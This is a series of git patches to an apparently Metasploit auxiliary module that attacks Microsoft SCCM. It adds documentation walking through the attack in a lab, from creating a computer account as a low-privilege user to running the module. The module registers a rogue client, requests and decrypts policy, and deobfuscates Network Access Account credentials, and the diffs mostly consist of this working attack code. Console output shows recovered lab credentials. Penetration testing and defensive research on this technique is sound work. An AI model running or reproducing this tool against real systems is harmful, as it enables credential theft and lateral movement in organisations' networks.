@@ -141,16 +142,16 @@ def run end def request_policy(http_opts, policy_url, sms_id, key) - policy_url.gsub!('http://','') - policy_url = policy_url.gsub('{','%7B').gsub('}','%7D') + policy_url.gsub!('http://', '') + policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D') now = Time.now.utc.iso8601 client_token = "GUID:#{sms_id};#{now};2" - client_signature = rsa_sign(key, (client_token+"\x00").encode('utf-16le').bytes.pack('C*')) + client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*')) opts = http_opts.merge({ - 'uri' => policy_url, - 'method' => 'GET', + 'uri' => policy_url, + 'method' => 'GET' }) opts['headers'] = opts['headers'].merge({ 'ClientToken' => client_token, @@ -164,7 +165,7 @@ def request_policy(http_opts, policy_url, sms_id, key) cms_envelope = ci.enveloped_data ri = cms_envelope[:recipient_infos] - if ri.length < 1 + if ri.empty? fail_with(Failure::UnexpectedReply, 'No recipient infos provided') end @@ -192,12 +193,14 @@ def request_policy(http_opts, policy_url, sms_id, key) if iv.value.length != 16 fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}") end - cipher = OpenSSL::Cipher::AES.new(256, :CBC) + cipher = OpenSSL::Cipher.new('aes-256-cbc') cipher.decrypt cipher.key = decrypted_key cipher.iv = iv.value decrypted = cipher.update(body) + cipher.final + else + fail_with(Failure::UnexpectedReply, "Unsupported decryption routine: #{cea[:algorithm].value}") end decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") @@ -226,15 +229,15 @@ def get_policies(http_opts, mp, key, cert, sms_id) message = Rex::MIME::Message.new message.bound = 'aAbBcCdDv1234567890VxXyYzZ' - message.add_part(("\ufeff#{header}").encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) message.add_part(compressed, 'application/octet-stream', 'binary') opts = http_opts.merge({ - 'uri' => '/ccm_system/request', - 'method' => 'CCM_POST', - 'data' => message.to_s + 'uri' => '/ccm_system/request', + 'method' => 'CCM_POST', + 'data' => message.to_s }) opts['headers'] = opts['headers'].merge({ - 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"', + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' }) http_response = send_request_cgi(opts) response = Rex::MIME::Message.new(http_response.to_s) @@ -252,7 +255,7 @@ def get_policies(http_opts, mp, key, cert, sms_id) end def rsa_sign(key, data) - signature = key.sign(OpenSSL::Digest::SHA256.new, data) + signature = key.sign(OpenSSL::Digest.new('SHA256'), data) signature.reverse! signature.unpack('H*')[0].upcase @@ -289,24 +292,24 @@ def register_request(http_opts, mp, key, cert) message = Rex::MIME::Message.new message.bound = 'aAbBcCdDv1234567890VxXyYzZ' - message.add_part(("\ufeff#{header}").encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary') opts = http_opts.merge({ - 'uri' => '/ccm_system_windowsauth/request', - 'method' => 'CCM_POST', - 'data' => message.to_s + 'uri' => '/ccm_system_windowsauth/request', + 'method' => 'CCM_POST', + 'data' => message.to_s }) opts['headers'] = opts['headers'].merge({ - 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"', + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' }) response = send_request_cgi(opts) response = Rex::MIME::Message.new(response.to_s) - header_response = response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF") + response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF") compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings - sms_id = xml_doc.root&.attributes['SMSID']&.value&.delete_prefix('GUID:') + sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:') if sms_id.nil? fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID') end @@ -328,11 +331,11 @@ def get_creds_from_policy_doc(policy) end def deobfuscate_policy_value(value) - value = [value.gsub(/[^0-9A-Fa-f]/,'')].pack('H*') + value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*') data_length = value[52..55].unpack('I')[0] - buffer = value[64..64+data_length-1] + buffer = value[64..64 + data_length - 1] key = mscrypt_derive_key_sha1(value[4..43]) - iv = "\x00"*8 + iv = "\x00" * 8 cipher = OpenSSL::Cipher.new('des-ede3-cbc') cipher.decrypt cipher.iv = iv @@ -346,7 +349,7 @@ def mscrypt_derive_key_sha1(secret) buf1 = [0x36] * 64 buf2 = [0x5C] * 64 - digest = OpenSSL::Digest::SHA1.new + digest = OpenSSL::Digest.new('SHA1') hash = digest.digest(secret).bytes hash.each_with_index do |byte, i| @@ -357,10 +360,10 @@ def mscrypt_derive_key_sha1(secret) buf1 = buf1.pack('C*') buf2 = buf2.pack('C*') - digest = OpenSSL::Digest::SHA1.new + digest = OpenSSL::Digest.new('SHA1') hash1 = digest.digest(buf1) - digest = OpenSSL::Digest::SHA1.new + digest = OpenSSL::Digest.new('SHA1') hash2 = digest.digest(buf2) hash1 + hash2[0..3] From fd3f313c640b7613b937d80a3009ea19281cfdd8 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 10 Dec 2024 22:33:38 +1100 Subject: [PATCH 05/19] Report multiple NAA creds, if present --- modules/auxiliary/admin/sccm/get_naa_creds.rb | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index 657e1b7bb1b1..911cfdd73abb 100755 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -127,9 +127,11 @@ def run sleep(duration) naa_policy_url = get_policies(http_opts, mp, key, cert, sms_id) decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) - username, password = get_creds_from_policy_doc(decrypted_policy) + results = get_creds_from_policy_doc(decrypted_policy) - print_good("Found valid NAA creds: #{username}:#{password}") + results.each do |username, password| + print_good("Found valid NAA creds: #{username}:#{password}") + end end rescue Errno::ECONNRESET fail_with(Failure::Disconnected, 'The connection was reset.') @@ -165,7 +167,7 @@ def request_policy(http_opts, policy_url, sms_id, key) cms_envelope = ci.enveloped_data ri = cms_envelope[:recipient_infos] - if ri.empty? + if ri.value.empty? fail_with(Failure::UnexpectedReply, 'No recipient infos provided') end @@ -320,14 +322,18 @@ def register_request(http_opts, mp, key, cert) def get_creds_from_policy_doc(policy) xml_doc = Nokogiri::XML(policy) - naa_section = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") - username = naa_section.xpath("//property[@name='NetworkAccessUsername']/value").text - password = naa_section.xpath("//property[@name='NetworkAccessPassword']/value").text + naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") + results = Set.new + naa_sections.each do |section| + username = section.xpath("//property[@name='NetworkAccessUsername']/value").text + username = deobfuscate_policy_value(username) - username = deobfuscate_policy_value(username) - password = deobfuscate_policy_value(password) + password = section.xpath("//property[@name='NetworkAccessPassword']/value").text + password = deobfuscate_policy_value(password) - [username, password] + results.add([username, password]) + end + results end def deobfuscate_policy_value(value) From a8a782eb2e04337e275e75f8193fcd6764aa074a Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 10 Dec 2024 23:28:29 +1100 Subject: [PATCH 06/19] Get working without autodiscovery Added proper credits for the original research. --- modules/auxiliary/admin/sccm/get_naa_creds.rb | 149 ++++++++++-------- 1 file changed, 81 insertions(+), 68 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index 911cfdd73abb..ed52933e10f2 100755 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -24,9 +24,12 @@ def initialize(info = {}) This requires a computer account, which can be added using the samr_account module. }, 'Author' => [ + 'xpn', # Initial research + 'skelsec', # Initial obfuscation port 'smashery' # module author ], 'References' => [ + ['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'], ['URL', 'https://github.com/Mayyhem/SharpSCCM'], ['URL', 'https://github.com/garrettfoster13/sccmhunter'] ], @@ -40,9 +43,12 @@ def initialize(info = {}) ) register_options([ + OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]), + OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]), OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]), OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]), - OptString.new('MANAGEMENT_POINT', [ false, 'The management point to use' ]), + OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]), + OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]), ]) end @@ -59,27 +65,6 @@ def fail_with_ldap_error(message) end def find_management_point - raw_objects = @ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) - return nil unless raw_objects.any? - - raw_obj = raw_objects.first - - raw_objects.each do |ro| - print_status("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") - end - - if raw_objects.length > 1 - print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})") - end - - obj = {} - obj[:rhost] = raw_obj[:dnshostname].first - obj[:sitecode] = raw_obj[:mssmssitecode].first - - obj - end - - def run ldap_connect do |ldap| validate_bind_success!(ldap) @@ -95,52 +80,81 @@ def run end end @ldap = ldap + raw_objects = @ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) + return nil unless raw_objects.any? - mp = datastore['MANAGEMENT_POINT'] - if mp.blank? - begin - mp = find_management_point - fail_with(Failure::NotFound, 'Failed to find management point') unless mp - rescue ::IOError => e - fail_with(Failure::UnexpectedReply, e.message) - end + raw_obj = raw_objects.first + + raw_objects.each do |ro| + print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") end - key, cert = generate_key_and_cert('ConfigMgr Client') - - http_opts = { - 'rhost' => mp[:rhost], - 'rport' => 80, - 'username' => datastore['COMPUTER_USER'], - 'password' => datastore['COMPUTER_PASS'], - 'headers' => { - 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', - 'Accept-Encoding' => 'gzip, deflate', - 'Accept' => '*/*', - 'Connection' => 'Keep-Alive' - } - } + if raw_objects.length > 1 + print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})") + end - sms_id = register_request(http_opts, mp, key, cert) - duration = 5 - print_status("Waiting #{duration} seconds for SCCM DB to update...") - sleep(duration) - naa_policy_url = get_policies(http_opts, mp, key, cert, sms_id) - decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) - results = get_creds_from_policy_doc(decrypted_policy) + obj = {} + obj[:rhost] = raw_obj[:dnshostname].first + obj[:sitecode] = raw_obj[:mssmssitecode].first + + obj + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Failure::NoAccess, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + end + end - results.each do |username, password| - print_good("Found valid NAA creds: #{username}:#{password}") + def run + management_point = datastore['MANAGEMENT_POINT'] + site_code = datastore['SITE_CODE'] + if management_point.blank? != site_code.blank? + fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)') + end + + if management_point.blank? + begin + result = find_management_point + fail_with(Failure::NotFound, 'Failed to find management point') unless result + management_point = result[:rhost] + site_code = result[:site_code] + rescue ::IOError => e + fail_with(Failure::UnexpectedReply, e.message) end end - rescue Errno::ECONNRESET - fail_with(Failure::Disconnected, 'The connection was reset.') - rescue Rex::ConnectionError => e - fail_with(Failure::Unreachable, e.message) - rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e - fail_with(Failure::NoAccess, e.message) - rescue Net::LDAP::Error => e - fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + + + key, cert = generate_key_and_cert('ConfigMgr Client') + + http_opts = { + 'rhost' => management_point, + 'rport' => 80, + 'username' => datastore['COMPUTER_USER'], + 'password' => datastore['COMPUTER_PASS'], + 'headers' => { + 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', + 'Accept-Encoding' => 'gzip, deflate', + 'Accept' => '*/*' + } + } + + sms_id = register_request(http_opts, management_point, key, cert) + duration = 5 + print_status("Waiting #{duration} seconds for SCCM DB to update...") + + sleep(duration) + + naa_policy_url = get_policies(http_opts, management_point, site_code, key, cert, sms_id) + decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) + results = get_creds_from_policy_doc(decrypted_policy) + + results.each do |username, password| + print_good("Found valid NAA creds: #{username}:#{password}") + end end def request_policy(http_opts, policy_url, sms_id, key) @@ -182,7 +196,7 @@ def request_policy(http_opts, policy_url, sms_id, key) if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) else - fail_with(Failure::UnexpectedReply, "Unexpected key encryption routine: #{key_encryption_alg}") + fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}") end cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] @@ -202,20 +216,19 @@ def request_policy(http_opts, policy_url, sms_id, key) decrypted = cipher.update(body) + cipher.final else - fail_with(Failure::UnexpectedReply, "Unsupported decryption routine: #{cea[:algorithm].value}") + fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}") end decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") end - def get_policies(http_opts, mp, key, cert, sms_id) + def get_policies(http_opts, management_point, site_code, key, cert, sms_id) computer_user = datastore['COMPUTER_USER'].delete_suffix('$') fqdn = "#{computer_user}.#{datastore['DOMAIN']}" hex_pub_key = make_ms_pubkey(cert.public_key) guid = SecureRandom.uuid.upcase sent_time = Time.now.utc.iso8601 - site_code = mp[:sitecode] - sccm_host = mp[:rhost].downcase + sccm_host = management_point.downcase request_assignments = "GUID:#{sms_id}#{fqdn}#{computer_user}SMS:#{site_code}\x00" request_assignments.encode!('utf-16le') body_length = request_assignments.bytes.length @@ -272,7 +285,7 @@ def make_ms_pubkey(pub_key) result.unpack('H*')[0] end - def register_request(http_opts, mp, key, cert) + def register_request(http_opts, management_point, key, cert) pub_key = cert.to_der.unpack('H*')[0].upcase computer_user = datastore['COMPUTER_USER'].delete_suffix('$') @@ -289,7 +302,7 @@ def register_request(http_opts, mp, key, cert) body_length = rr_utf16.length rr_utf16 << "\r\n" - header = "{00000000-0000-0000-0000-000000000000}{5DD100CD-DF1D-45F5-BA17-A327F43465F8}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}#{computer_user}mp:MP_ClientRegistrationMP_ClientRegistration#{mp[:rhost].downcase}60000" + header = "{00000000-0000-0000-0000-000000000000}{5DD100CD-DF1D-45F5-BA17-A327F43465F8}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}#{computer_user}mp:MP_ClientRegistrationMP_ClientRegistration#{management_point.downcase}60000" message = Rex::MIME::Message.new message.bound = 'aAbBcCdDv1234567890VxXyYzZ' From 6ec690985073a8e90a743252f2572f1b8c991286 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 10 Dec 2024 23:38:17 +1100 Subject: [PATCH 07/19] MsfTidy fixes --- modules/auxiliary/admin/sccm/get_naa_creds.rb | 1 - 1 file changed, 1 deletion(-) mode change 100755 => 100644 modules/auxiliary/admin/sccm/get_naa_creds.rb diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb old mode 100755 new mode 100644 index ed52933e10f2..d1c983c2c7a5 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -127,7 +127,6 @@ def run end end - key, cert = generate_key_and_cert('ConfigMgr Client') http_opts = { From d52874ac462605646c7034a7b07eba423662d880 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 11 Dec 2024 10:31:44 +1100 Subject: [PATCH 08/19] Allow sessions to be not required. Added documentation. --- .../auxiliary/admin/sccm/get_naa_creds.md | 145 ++++++++++++++++++ lib/msf/core/optional_session.rb | 8 +- modules/auxiliary/admin/sccm/get_naa_creds.rb | 3 + 3 files changed, 155 insertions(+), 1 deletion(-) create mode 100755 documentation/modules/auxiliary/admin/sccm/get_naa_creds.md diff --git a/documentation/modules/auxiliary/admin/sccm/get_naa_creds.md b/documentation/modules/auxiliary/admin/sccm/get_naa_creds.md new file mode 100755 index 000000000000..1a2b7a59a97b --- /dev/null +++ b/documentation/modules/auxiliary/admin/sccm/get_naa_creds.md @@ -0,0 +1,145 @@ +## NAA Credential Exploitation + +The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but +in practice is often misconfigured to have excessive privileges. + +The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However, +it can also be requested by an existing computer account, which by default most user accounts are able to create. + + +## Module usage +The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions: + +1. From msfconsole +2. Do: `use auxiliary/admin/dcerpc/samr_account` +3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options + a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically + b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option + c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option +4. Run the module and see that a new machine account was added + +Then the `auxiliary/admin/sccm/get_naa_creds` module can be used: + +1. `use auxiliary/admin/sccm/get_naa_creds` +2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used) +3. Set the `USERNAME` and `PASSWORD` information to a domain account +4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +5. Run the module to obtain the NAA creds, if present. + +Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery: + +1. `use auxiliary/admin/sccm/get_naa_creds` +2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values. +4. Run the module to obtain the NAA creds, if present. + +The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action. + +See the Scenarios for a more detailed walk through + +## Options + +### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST +Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery. + +### MANAGEMENT_POINT +The SCCM server. + +### SITE_CODE +The Site Code of the management point. + +## Scenarios +In the following example the user `ssccm.lab\eve` is a low-privilege user. + +### Creating computer account + +``` +msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:445 - Adding computer +[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$ +[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128 +[*] Auxiliary module execution completed +``` + +### Running with Autodiscovery +Using the credentials just obtained with the `samr_account` module. + +``` +msf6 auxiliary(admin/sccm/get_naa_creds) > options + +Module options (auxiliary/admin/sccm/get_naa_creds): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPUTER_PASS yes The password of the provided computer account + COMPUTER_USER yes The username of a computer account + MANAGEMENT_POINT no The management point (SCCM server) to use + SITE_CODE no The site code to use on the management point + SSL false no Enable SSL on the LDAP connection + VHOST no HTTP server virtual host + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 1 no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN no The domain to authenticate to + PASSWORD no The password to authenticate with + RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code + RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP) + USERNAME no The username to authenticate with + + +View the full module info with the info, or info -d command. +msf6 auxiliary(admin/sccm/get_naa_creds) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[*] Running module against 192.168.33.10 + +[*] Discovering base DN automatically +[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab +[+] Found Management Point: MECM.sccm.lab (Site code: P01) +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA creds: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` + +### Manual discovery + +``` +msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab +CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab +========================================================================= + + Name Attributes + ---- ---------- + cn SMS-MP-P01-MECM.SCCM.LAB + dnshostname MECM.sccm.lab + mssmssitecode P01 + +[*] Query returned 1 result. +[*] Auxiliary module execution completed + +msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_creds + +msf6 auxiliary(admin/sccm/get_naa_creds) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01 + +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA creds: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index c10a88585d61..ab0b255cdcb3 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -8,6 +8,12 @@ module Msf module OptionalSession include Msf::SessionCompatibility + attr_accessor :session_or_rhost_required + + def session_or_rhost_required + @session_or_rhost_required.nil? ? true : @session_or_rhost_required + end + # Validates options depending on whether we are using SESSION or an RHOST for our connection def validate super @@ -18,7 +24,7 @@ def validate validate_session elsif rhost validate_rhost - else + elsif session_or_rhost_required raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided') end end diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index d1c983c2c7a5..733b4ae86060 100644 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -30,6 +30,7 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'], + ['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'], ['URL', 'https://github.com/Mayyhem/SharpSCCM'], ['URL', 'https://github.com/garrettfoster13/sccmhunter'] ], @@ -50,6 +51,8 @@ def initialize(info = {}) OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]), OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]), ]) + + @session_or_rhost_required = false end def fail_with_ldap_error(message) From 6054d7c5ce2c356f3bf645b6b71880e7b1ac1dba Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 11 Dec 2024 11:28:27 +1100 Subject: [PATCH 09/19] Better error handling for NAA --- modules/auxiliary/admin/sccm/get_naa_creds.rb | 23 +++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index 733b4ae86060..0f73f579b92b 100644 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -157,6 +157,8 @@ def run results.each do |username, password| print_good("Found valid NAA creds: #{username}:#{password}") end + rescue SocketError => e + fail_with(Failure::Unreachable, e.message) end def request_policy(http_opts, policy_url, sms_id, key) @@ -320,14 +322,31 @@ def register_request(http_opts, management_point, key, cert) opts['headers'] = opts['headers'].merge({ 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' }) - response = send_request_cgi(opts) - response = Rex::MIME::Message.new(response.to_s) + http_response = send_request_cgi(opts) + if http_response.nil? + fail_with(Failure::Unreachable, 'No response from server') + end + response = Rex::MIME::Message.new(http_response.to_s) + if response.parts.length == 0 + html_doc = Nokogiri::HTML(http_response.to_s) + error = html_doc.xpath('//title').text + if error.blank? + error = 'Bad response from server' + dlog('Response from server:') + dlog(http_response.to_s) + end + fail_with(Failure::UnexpectedReply, error) + end response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF") compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:') if sms_id.nil? + approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value + if approval == "-1" + fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server') + end fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID') end print_status("Got SMS ID: #{sms_id}") From 0a45480c49f7f10ba082638bae077e1b199d5d9f Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 11 Dec 2024 13:44:13 +1100 Subject: [PATCH 10/19] Properly support multiple NAA creds --- modules/auxiliary/admin/sccm/get_naa_creds.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index 0f73f579b92b..57a352930801 100644 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -359,10 +359,10 @@ def get_creds_from_policy_doc(policy) naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") results = Set.new naa_sections.each do |section| - username = section.xpath("//property[@name='NetworkAccessUsername']/value").text + username = section.xpath("property[@name='NetworkAccessUsername']/value").text username = deobfuscate_policy_value(username) - password = section.xpath("//property[@name='NetworkAccessPassword']/value").text + password = section.xpath("property[@name='NetworkAccessPassword']/value").text password = deobfuscate_policy_value(password) results.add([username, password]) From c2495aff589d4188e5d1fe7e24220ff54c8e8406 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 11 Dec 2024 13:58:03 +1100 Subject: [PATCH 11/19] Properly support there being no NAA creds --- ...et_naa_creds.md => get_naa_credentials.md} | 24 +++++++++---------- ...et_naa_creds.rb => get_naa_credentials.rb} | 15 +++++++++--- 2 files changed, 24 insertions(+), 15 deletions(-) rename documentation/modules/auxiliary/admin/sccm/{get_naa_creds.md => get_naa_credentials.md} (84%) rename modules/auxiliary/admin/sccm/{get_naa_creds.rb => get_naa_credentials.rb} (97%) diff --git a/documentation/modules/auxiliary/admin/sccm/get_naa_creds.md b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md similarity index 84% rename from documentation/modules/auxiliary/admin/sccm/get_naa_creds.md rename to documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md index 1a2b7a59a97b..95f8e3e4c96e 100755 --- a/documentation/modules/auxiliary/admin/sccm/get_naa_creds.md +++ b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md @@ -18,20 +18,20 @@ The `admin/dcerpc/samr_computer` module is generally used to first create a comp c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option 4. Run the module and see that a new machine account was added -Then the `auxiliary/admin/sccm/get_naa_creds` module can be used: +Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used: -1. `use auxiliary/admin/sccm/get_naa_creds` +1. `use auxiliary/admin/sccm/get_naa_credentials` 2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used) 3. Set the `USERNAME` and `PASSWORD` information to a domain account 4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module -5. Run the module to 